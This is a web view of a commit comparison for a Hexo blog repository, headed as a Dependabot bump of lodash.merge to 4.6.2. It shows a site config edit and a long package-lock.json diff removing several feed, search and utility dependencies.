Compare commits

..

1 Commits

Author SHA1 Message Date
dependabot[bot]
67c6cf1d29
Bump lodash.merge from 4.6.1 to 4.6.2
Bumps [lodash.merge](https://github.com/lodash/lodash) from 4.6.1 to 4.6.2.
- [Release notes](https://github.com/lodash/lodash/releases)
- [Commits](https://github.com/lodash/lodash/commits)

Signed-off-by: dependabot[bot] <support@github.com>
2020-09-04 02:36:49 +00:00
45 changed files with 162 additions and 3256 deletions

View File

@ -4,8 +4,8 @@
# Site
title: 混元霹雳手
subtitle: Battle⚔ 2 the world🌎
description: Juice is temporary but Sauce is forever
subtitle:
description: 没人比我更懂中医#MAGA
keywords:
author: Cool-Y
language: zh-Hans
@ -34,21 +34,6 @@ code_dir: downloads/code
i18n_dir: :lang
skip_render:
# RSS
# https://github.com/hexojs/hexo-generator-feed
feed:
type: atom
path: atom.xml
limit: 20
hub:
content:
content_limit: 140
content_limit_delim: ' '
order_by: -date
icon: icon.png
autodiscovery: true
template:
# Writing
new_post_name: :title.md # File name of new posts
default_layout: post
@ -92,7 +77,6 @@ time_format: HH:mm:ss
per_page: 10
pagination_dir: page
# Extensions
## Plugins: https://hexo.io/plugins/
## Themes: https://hexo.io/themes/

655
package-lock.json generated
View File

@ -493,17 +493,6 @@
}
}
},
"clipboard": {
"version": "2.0.6",
"resolved": "https://registry.npmjs.org/clipboard/-/clipboard-2.0.6.tgz",
"integrity": "sha512-g5zbiixBRk/wyKakSwCKd7vQXDjFnAMGHoEyBogG/bw9kTD9GvdAvaoRR1ALcEzt3pVKxZR0pViekPMIS0QyGg==",
"optional": true,
"requires": {
"good-listener": "^1.2.2",
"select": "^1.1.2",
"tiny-emitter": "^2.0.0"
}
},
"cliui": {
"version": "3.2.0",
"resolved": "http://registry.npm.taobao.org/cliui/download/cliui-3.2.0.tgz",
@ -556,11 +545,6 @@
"resolved": "https://registry.npmjs.org/command-exists/-/command-exists-1.2.8.tgz",
"integrity": "sha512-PM54PkseWbiiD/mMsbvW351/u+dafwTJ0ye2qB60G1aGQP9j3xK2gmMDc+R34L3nDtx4qMCitXT75mkbkGJDLw=="
},
"commander": {
"version": "5.1.0",
"resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz",
"integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg=="
},
"component-emitter": {
"version": "1.2.1",
"resolved": "http://registry.npm.taobao.org/component-emitter/download/component-emitter-1.2.1.tgz",
@ -677,11 +661,6 @@
"resolved": "http://registry.npm.taobao.org/decode-uri-component/download/decode-uri-component-0.2.0.tgz",
"integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU="
},
"deepmerge": {
"version": "4.2.2",
"resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz",
"integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg=="
},
"define-property": {
"version": "2.0.2",
"resolved": "http://registry.npm.taobao.org/define-property/download/define-property-2.0.2.tgz",
@ -729,12 +708,6 @@
}
}
},
"delegate": {
"version": "3.2.0",
"resolved": "https://registry.npmjs.org/delegate/-/delegate-3.2.0.tgz",
"integrity": "sha512-IofjkYBZaZivn0V8nnsMJGBr4jVLxHDheKSW88PyxS5QC4Vo9ZbZVvhzlSxY87fVq3STR6r+4cGepyHkcWOQSw==",
"optional": true
},
"depd": {
"version": "1.1.2",
"resolved": "http://registry.npm.taobao.org/depd/download/depd-1.1.2.tgz",
@ -970,7 +943,8 @@
},
"ansi-regex": {
"version": "2.1.1",
"bundled": true
"bundled": true,
"optional": true
},
"aproba": {
"version": "1.2.0",
@ -988,11 +962,13 @@
},
"balanced-match": {
"version": "1.0.0",
"bundled": true
"bundled": true,
"optional": true
},
"brace-expansion": {
"version": "1.1.11",
"bundled": true,
"optional": true,
"requires": {
"balanced-match": "^1.0.0",
"concat-map": "0.0.1"
@ -1005,15 +981,18 @@
},
"code-point-at": {
"version": "1.1.0",
"bundled": true
"bundled": true,
"optional": true
},
"concat-map": {
"version": "0.0.1",
"bundled": true
"bundled": true,
"optional": true
},
"console-control-strings": {
"version": "1.1.0",
"bundled": true
"bundled": true,
"optional": true
},
"core-util-is": {
"version": "1.0.2",
@ -1116,7 +1095,8 @@
},
"inherits": {
"version": "2.0.3",
"bundled": true
"bundled": true,
"optional": true
},
"ini": {
"version": "1.3.5",
@ -1126,6 +1106,7 @@
"is-fullwidth-code-point": {
"version": "1.0.0",
"bundled": true,
"optional": true,
"requires": {
"number-is-nan": "^1.0.0"
}
@ -1138,17 +1119,20 @@
"minimatch": {
"version": "3.0.4",
"bundled": true,
"optional": true,
"requires": {
"brace-expansion": "^1.1.7"
}
},
"minimist": {
"version": "0.0.8",
"bundled": true
"bundled": true,
"optional": true
},
"minipass": {
"version": "2.3.5",
"bundled": true,
"optional": true,
"requires": {
"safe-buffer": "^5.1.2",
"yallist": "^3.0.0"
@ -1165,6 +1149,7 @@
"mkdirp": {
"version": "0.5.1",
"bundled": true,
"optional": true,
"requires": {
"minimist": "0.0.8"
}
@ -1237,7 +1222,8 @@
},
"number-is-nan": {
"version": "1.0.1",
"bundled": true
"bundled": true,
"optional": true
},
"object-assign": {
"version": "4.1.1",
@ -1247,6 +1233,7 @@
"once": {
"version": "1.4.0",
"bundled": true,
"optional": true,
"requires": {
"wrappy": "1"
}
@ -1322,7 +1309,8 @@
},
"safe-buffer": {
"version": "5.1.2",
"bundled": true
"bundled": true,
"optional": true
},
"safer-buffer": {
"version": "2.1.2",
@ -1352,6 +1340,7 @@
"string-width": {
"version": "1.0.2",
"bundled": true,
"optional": true,
"requires": {
"code-point-at": "^1.0.0",
"is-fullwidth-code-point": "^1.0.0",
@ -1369,6 +1358,7 @@
"strip-ansi": {
"version": "3.0.1",
"bundled": true,
"optional": true,
"requires": {
"ansi-regex": "^2.0.0"
}
@ -1407,11 +1397,13 @@
},
"wrappy": {
"version": "1.0.2",
"bundled": true
"bundled": true,
"optional": true
},
"yallist": {
"version": "3.0.3",
"bundled": true
"bundled": true,
"optional": true
}
}
},
@ -1455,15 +1447,6 @@
"resolved": "http://registry.npm.taobao.org/globals/download/globals-11.11.0.tgz",
"integrity": "sha1-3Pk3V/ot5Uhvvu1xGFOK33ienC4="
},
"good-listener": {
"version": "1.2.2",
"resolved": "https://registry.npmjs.org/good-listener/-/good-listener-1.2.2.tgz",
"integrity": "sha1-1TswzfkxPf+33JoNR3CWqm0UXFA=",
"optional": true,
"requires": {
"delegate": "^3.1.2"
}
},
"graceful-fs": {
"version": "4.1.15",
"resolved": "http://registry.npm.taobao.org/graceful-fs/download/graceful-fs-4.1.15.tgz",
@ -2051,147 +2034,6 @@
}
}
},
"hexo-generator-feed": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/hexo-generator-feed/-/hexo-generator-feed-3.0.0.tgz",
"integrity": "sha512-Jo35VSRSNeMitS2JmjCq3OHAXXYU4+JIODujHtubdG/NRj2++b3Tgyz9pwTmROx6Yxr2php/hC8og5AGZHh8UQ==",
"requires": {
"hexo-util": "^2.1.0",
"nunjucks": "^3.0.0"
},
"dependencies": {
"camel-case": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz",
"integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==",
"requires": {
"pascal-case": "^3.1.2",
"tslib": "^2.0.3"
}
},
"cross-spawn": {
"version": "7.0.3",
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
"integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
"requires": {
"path-key": "^3.1.0",
"shebang-command": "^2.0.0",
"which": "^2.0.1"
}
},
"dom-serializer": {
"version": "1.3.1",
"resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.3.1.tgz",
"integrity": "sha512-Pv2ZluG5ife96udGgEDovOOOA5UELkltfJpnIExPrAk1LTvecolUGn6lIaoLh86d83GiB86CjzciMd9BuRB71Q==",
"requires": {
"domelementtype": "^2.0.1",
"domhandler": "^4.0.0",
"entities": "^2.0.0"
},
"dependencies": {
"domhandler": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.1.0.tgz",
"integrity": "sha512-/6/kmsGlMY4Tup/nGVutdrK9yQi4YjWVcVeoQmixpzjOUK1U7pQkvAPHBJeUxOgxF0J8f8lwCJSlCfD0V4CMGQ==",
"requires": {
"domelementtype": "^2.2.0"
}
}
}
},
"domelementtype": {
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz",
"integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A=="
},
"domhandler": {
"version": "3.3.0",
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-3.3.0.tgz",
"integrity": "sha512-J1C5rIANUbuYK+FuFL98650rihynUOEzRLxW+90bKZRWB6A1X1Tf82GxR1qAWLyfNPRvjqfip3Q5tdYlmAa9lA==",
"requires": {
"domelementtype": "^2.0.1"
}
},
"domutils": {
"version": "2.5.2",
"resolved": "https://registry.npmjs.org/domutils/-/domutils-2.5.2.tgz",
"integrity": "sha512-MHTthCb1zj8f1GVfRpeZUbohQf/HdBos0oX5gZcQFepOZPLLRyj6Wn7XS7EMnY7CVpwv8863u2vyE83Hfu28HQ==",
"requires": {
"dom-serializer": "^1.0.1",
"domelementtype": "^2.2.0",
"domhandler": "^4.1.0"
},
"dependencies": {
"domhandler": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.1.0.tgz",
"integrity": "sha512-/6/kmsGlMY4Tup/nGVutdrK9yQi4YjWVcVeoQmixpzjOUK1U7pQkvAPHBJeUxOgxF0J8f8lwCJSlCfD0V4CMGQ==",
"requires": {
"domelementtype": "^2.2.0"
}
}
}
},
"entities": {
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz",
"integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A=="
},
"hexo-util": {
"version": "2.4.0",
"resolved": "https://registry.npmjs.org/hexo-util/-/hexo-util-2.4.0.tgz",
"integrity": "sha512-IPQvAyn0cznYMU2gskMiZ6LZEvN7wHNusrJoYxrir4f7S7POpZeDTBswiko9R1qqd+/hu07wUYZdm4ceTTCEaA==",
"requires": {
"bluebird": "^3.5.2",
"camel-case": "^4.0.0",
"cross-spawn": "^7.0.0",
"deepmerge": "^4.2.2",
"highlight.js": "^10.0.0",
"htmlparser2": "^4.0.0",
"prismjs": "^1.17.1",
"strip-indent": "^3.0.0",
"striptags": "^3.1.1"
}
},
"highlight.js": {
"version": "10.7.2",
"resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-10.7.2.tgz",
"integrity": "sha512-oFLl873u4usRM9K63j4ME9u3etNF0PLiJhSQ8rdfuL51Wn3zkD6drf9ZW0dOzjnZI22YYG24z30JcmfCZjMgYg=="
},
"htmlparser2": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-4.1.0.tgz",
"integrity": "sha512-4zDq1a1zhE4gQso/c5LP1OtrhYTncXNSpvJYtWJBtXAETPlMfi3IFNjGuQbYLuVY4ZR0QMqRVvo4Pdy9KLyP8Q==",
"requires": {
"domelementtype": "^2.0.1",
"domhandler": "^3.0.0",
"domutils": "^2.0.0",
"entities": "^2.0.0"
}
},
"strip-indent": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
"integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
"requires": {
"min-indent": "^1.0.0"
}
},
"striptags": {
"version": "3.1.1",
"resolved": "https://registry.npmjs.org/striptags/-/striptags-3.1.1.tgz",
"integrity": "sha1-yMPn/db7S7OjKjt1LltePjgJPr0="
},
"which": {
"version": "2.0.2",
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
"integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
"requires": {
"isexe": "^2.0.0"
}
}
}
},
"hexo-generator-index": {
"version": "0.2.1",
"resolved": "http://registry.npm.taobao.org/hexo-generator-index/download/hexo-generator-index-0.2.1.tgz",
@ -2201,153 +2043,6 @@
"object-assign": "^4.0.1"
}
},
"hexo-generator-json-content": {
"version": "4.2.3",
"resolved": "https://registry.npmjs.org/hexo-generator-json-content/-/hexo-generator-json-content-4.2.3.tgz",
"integrity": "sha512-XGqCaTUr6+X8Ty/YvRi+0eh0DJgHcp+lgBhn+Sgyh6ev40P0cwamwJyaZroTdHt8GPoBwbSGVu0H/CdzEf0lFA==",
"requires": {
"hexo-util": "^2.4.0",
"keyword-extractor": "^0.0.19",
"moment": "^2.29.1"
},
"dependencies": {
"camel-case": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz",
"integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==",
"requires": {
"pascal-case": "^3.1.2",
"tslib": "^2.0.3"
}
},
"cross-spawn": {
"version": "7.0.3",
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
"integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
"requires": {
"path-key": "^3.1.0",
"shebang-command": "^2.0.0",
"which": "^2.0.1"
}
},
"dom-serializer": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.2.0.tgz",
"integrity": "sha512-n6kZFH/KlCrqs/1GHMOd5i2fd/beQHuehKdWvNNffbGHTr/almdhuVvTVFb3V7fglz+nC50fFusu3lY33h12pA==",
"requires": {
"domelementtype": "^2.0.1",
"domhandler": "^4.0.0",
"entities": "^2.0.0"
},
"dependencies": {
"domhandler": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.0.0.tgz",
"integrity": "sha512-KPTbnGQ1JeEMQyO1iYXoagsI6so/C96HZiFyByU3T6iAzpXn8EGEvct6unm1ZGoed8ByO2oirxgwxBmqKF9haA==",
"requires": {
"domelementtype": "^2.1.0"
}
}
}
},
"domelementtype": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.1.0.tgz",
"integrity": "sha512-LsTgx/L5VpD+Q8lmsXSHW2WpA+eBlZ9HPf3erD1IoPF00/3JKHZ3BknUVA2QGDNu69ZNmyFmCWBSO45XjYKC5w=="
},
"domhandler": {
"version": "3.3.0",
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-3.3.0.tgz",
"integrity": "sha512-J1C5rIANUbuYK+FuFL98650rihynUOEzRLxW+90bKZRWB6A1X1Tf82GxR1qAWLyfNPRvjqfip3Q5tdYlmAa9lA==",
"requires": {
"domelementtype": "^2.0.1"
}
},
"domutils": {
"version": "2.4.4",
"resolved": "https://registry.npmjs.org/domutils/-/domutils-2.4.4.tgz",
"integrity": "sha512-jBC0vOsECI4OMdD0GC9mGn7NXPLb+Qt6KW1YDQzeQYRUFKmNG8lh7mO5HiELfr+lLQE7loDVI4QcAxV80HS+RA==",
"requires": {
"dom-serializer": "^1.0.1",
"domelementtype": "^2.0.1",
"domhandler": "^4.0.0"
},
"dependencies": {
"domhandler": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.0.0.tgz",
"integrity": "sha512-KPTbnGQ1JeEMQyO1iYXoagsI6so/C96HZiFyByU3T6iAzpXn8EGEvct6unm1ZGoed8ByO2oirxgwxBmqKF9haA==",
"requires": {
"domelementtype": "^2.1.0"
}
}
}
},
"entities": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/entities/-/entities-2.1.0.tgz",
"integrity": "sha512-hCx1oky9PFrJ611mf0ifBLBRW8lUUVRlFolb5gWRfIELabBlbp9xZvrqZLZAs+NxFnbfQoeGd8wDkygjg7U85w=="
},
"hexo-util": {
"version": "2.4.0",
"resolved": "https://registry.npmjs.org/hexo-util/-/hexo-util-2.4.0.tgz",
"integrity": "sha512-IPQvAyn0cznYMU2gskMiZ6LZEvN7wHNusrJoYxrir4f7S7POpZeDTBswiko9R1qqd+/hu07wUYZdm4ceTTCEaA==",
"requires": {
"bluebird": "^3.5.2",
"camel-case": "^4.0.0",
"cross-spawn": "^7.0.0",
"deepmerge": "^4.2.2",
"highlight.js": "^10.0.0",
"htmlparser2": "^4.0.0",
"prismjs": "^1.17.1",
"strip-indent": "^3.0.0",
"striptags": "^3.1.1"
}
},
"highlight.js": {
"version": "10.5.0",
"resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-10.5.0.tgz",
"integrity": "sha512-xTmvd9HiIHR6L53TMC7TKolEj65zG1XU+Onr8oi86mYa+nLcIbxTTWkpW7CsEwv/vK7u1zb8alZIMLDqqN6KTw=="
},
"htmlparser2": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-4.1.0.tgz",
"integrity": "sha512-4zDq1a1zhE4gQso/c5LP1OtrhYTncXNSpvJYtWJBtXAETPlMfi3IFNjGuQbYLuVY4ZR0QMqRVvo4Pdy9KLyP8Q==",
"requires": {
"domelementtype": "^2.0.1",
"domhandler": "^3.0.0",
"domutils": "^2.0.0",
"entities": "^2.0.0"
}
},
"moment": {
"version": "2.29.1",
"resolved": "https://registry.npmjs.org/moment/-/moment-2.29.1.tgz",
"integrity": "sha512-kHmoybcPV8Sqy59DwNDY3Jefr64lK/by/da0ViFcuA4DH0vQg5Q6Ze5VimxkfQNSC+Mls/Kx53s7TjP1RhFEDQ=="
},
"strip-indent": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
"integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
"requires": {
"min-indent": "^1.0.0"
}
},
"striptags": {
"version": "3.1.1",
"resolved": "https://registry.npmjs.org/striptags/-/striptags-3.1.1.tgz",
"integrity": "sha1-yMPn/db7S7OjKjt1LltePjgJPr0="
},
"which": {
"version": "2.0.2",
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
"integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
"requires": {
"isexe": "^2.0.0"
}
}
}
},
"hexo-generator-search": {
"version": "2.4.0",
"resolved": "http://registry.npm.taobao.org/hexo-generator-search/download/hexo-generator-search-2.4.0.tgz",
@ -2358,139 +2053,24 @@
}
},
"hexo-generator-searchdb": {
"version": "1.3.3",
"resolved": "https://registry.npmjs.org/hexo-generator-searchdb/-/hexo-generator-searchdb-1.3.3.tgz",
"integrity": "sha512-kfnTHa1CkeVRujiXEN4BJYioC0Y1609FNamqZcE2gVQTkBkGJIuuEz7QFaXx/H+rPWODsWKZ0Gy6ETvPNQjfXg==",
"version": "1.0.8",
"resolved": "http://registry.npm.taobao.org/hexo-generator-searchdb/download/hexo-generator-searchdb-1.0.8.tgz",
"integrity": "sha1-BCRSVuFBOmYxOTLb8cCn5WhVkwE=",
"requires": {
"nunjucks": "^3.2.2"
"ejs": "^1.0.0",
"striptags": "^3.1.1",
"utils-merge": "^1.0.0"
},
"dependencies": {
"anymatch": {
"ejs": {
"version": "1.0.0",
"resolved": "http://registry.npm.taobao.org/ejs/download/ejs-1.0.0.tgz",
"integrity": "sha1-ycYKSKRu5FL7MqccMXuV5aofyz0="
},
"striptags": {
"version": "3.1.1",
"resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.1.tgz",
"integrity": "sha512-mM8522psRCqzV+6LhomX5wgp25YVibjh8Wj23I5RPkPppSVSjyKD2A2mBJmWGa+KN7f2D6LNh9jkBCeyLktzjg==",
"optional": true,
"requires": {
"normalize-path": "^3.0.0",
"picomatch": "^2.0.4"
}
},
"binary-extensions": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.1.0.tgz",
"integrity": "sha512-1Yj8h9Q+QDF5FzhMs/c9+6UntbD5MkRfRwac8DoEm9ZfUBZ7tZ55YcGVAzEe4bXsdQHEk+s9S5wsOKVdZrw0tQ==",
"optional": true
},
"braces": {
"version": "3.0.2",
"resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
"integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
"optional": true,
"requires": {
"fill-range": "^7.0.1"
}
},
"chokidar": {
"version": "3.5.0",
"resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.0.tgz",
"integrity": "sha512-JgQM9JS92ZbFR4P90EvmzNpSGhpPBGBSj10PILeDyYFwp4h2/D9OM03wsJ4zW1fEp4ka2DGrnUeD7FuvQ2aZ2Q==",
"optional": true,
"requires": {
"anymatch": "~3.1.1",
"braces": "~3.0.2",
"fsevents": "~2.3.1",
"glob-parent": "~5.1.0",
"is-binary-path": "~2.1.0",
"is-glob": "~4.0.1",
"normalize-path": "~3.0.0",
"readdirp": "~3.5.0"
}
},
"fill-range": {
"version": "7.0.1",
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
"integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
"optional": true,
"requires": {
"to-regex-range": "^5.0.1"
}
},
"fsevents": {
"version": "2.3.1",
"resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.1.tgz",
"integrity": "sha512-YR47Eg4hChJGAB1O3yEAOkGO+rlzutoICGqGo9EZ4lKWokzZRSyIW1QmTzqjtw8MJdj9srP869CuWw/hyzSiBw==",
"optional": true
},
"glob-parent": {
"version": "5.1.1",
"resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.1.tgz",
"integrity": "sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ==",
"optional": true,
"requires": {
"is-glob": "^4.0.1"
}
},
"is-binary-path": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
"integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
"optional": true,
"requires": {
"binary-extensions": "^2.0.0"
}
},
"is-extglob": {
"version": "2.1.1",
"resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
"integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI="
},
"is-glob": {
"version": "4.0.1",
"resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz",
"integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==",
"requires": {
"is-extglob": "^2.1.1"
}
},
"is-number": {
"version": "7.0.0",
"resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
"integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
"optional": true
},
"normalize-path": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
"integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="
},
"nunjucks": {
"version": "3.2.2",
"resolved": "https://registry.npmjs.org/nunjucks/-/nunjucks-3.2.2.tgz",
"integrity": "sha512-KUi85OoF2NMygwODAy28Lh9qHmq5hO3rBlbkYoC8v377h4l8Pt5qFjILl0LWpMbOrZ18CzfVVUvIHUIrtED3sA==",
"requires": {
"a-sync-waterfall": "^1.0.0",
"asap": "^2.0.3",
"chokidar": "^3.3.0",
"commander": "^5.1.0"
}
},
"readdirp": {
"version": "3.5.0",
"resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.5.0.tgz",
"integrity": "sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==",
"optional": true,
"requires": {
"picomatch": "^2.2.1"
}
},
"to-regex-range": {
"version": "5.0.1",
"resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
"integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
"optional": true,
"requires": {
"is-number": "^7.0.0"
}
"resolved": "http://registry.npm.taobao.org/striptags/download/striptags-3.1.1.tgz",
"integrity": "sha1-yMPn/db7S7OjKjt1LltePjgJPr0="
}
}
},
@ -2907,34 +2487,6 @@
"resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz",
"integrity": "sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA="
},
"keyword-extractor": {
"version": "0.0.19",
"resolved": "https://registry.npmjs.org/keyword-extractor/-/keyword-extractor-0.0.19.tgz",
"integrity": "sha512-DmDgxAyICtLfowsP6ElzcV8ctv/OhqrpED4EINrIE5kl46rtRDmN9Ab4NsUMoy7ULm8rxS46Fc/eHMlhD02HIg==",
"requires": {
"js-yaml": ">=3.13.1",
"kind-of": ">=6.0.3",
"minimist": ">=0.2.1",
"set-value": ">=2.0.1",
"underscore": "1.10.2",
"underscore.string": "3.3.5"
},
"dependencies": {
"kind-of": {
"version": "6.0.3",
"resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
"integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
},
"set-value": {
"version": "3.0.2",
"resolved": "https://registry.npmjs.org/set-value/-/set-value-3.0.2.tgz",
"integrity": "sha512-npjkVoz+ank0zjlV9F47Fdbjfj/PfXyVhZvGALWsyIYU/qrMzpi6avjKW3/7KeSU2Df3I46BrN1xOI1+6vW0hA==",
"requires": {
"is-plain-object": "^2.0.4"
}
}
}
},
"kind-of": {
"version": "3.2.2",
"resolved": "http://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz",
@ -2997,9 +2549,9 @@
"integrity": "sha1-dx7Hg540c9nEzeKLGTlMNWL09tM="
},
"lodash.merge": {
"version": "4.6.1",
"resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.1.tgz",
"integrity": "sha512-AOYza4+Hf5z1/0Hztxpm2/xiPZgi/cjMqdnKTUWTBSKchJlxXXuUSxCCl8rJlf4g6yww/j6mA8nC8Hw/EZWxKQ=="
"version": "4.6.2",
"resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
"integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ=="
},
"lodash.pick": {
"version": "4.4.0",
@ -3109,11 +2661,6 @@
"mime-db": "~1.38.0"
}
},
"min-indent": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz",
"integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg=="
},
"minimatch": {
"version": "3.0.4",
"resolved": "http://registry.npm.taobao.org/minimatch/download/minimatch-3.0.4.tgz",
@ -3345,12 +2892,14 @@
"array-unique": {
"version": "0.3.2",
"resolved": "http://registry.npm.taobao.org/array-unique/download/array-unique-0.3.2.tgz",
"integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg="
"integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=",
"optional": true
},
"braces": {
"version": "2.3.2",
"resolved": "http://registry.npm.taobao.org/braces/download/braces-2.3.2.tgz",
"integrity": "sha1-WXn9PxTNUxVl5fot8av/8d+u5yk=",
"optional": true,
"requires": {
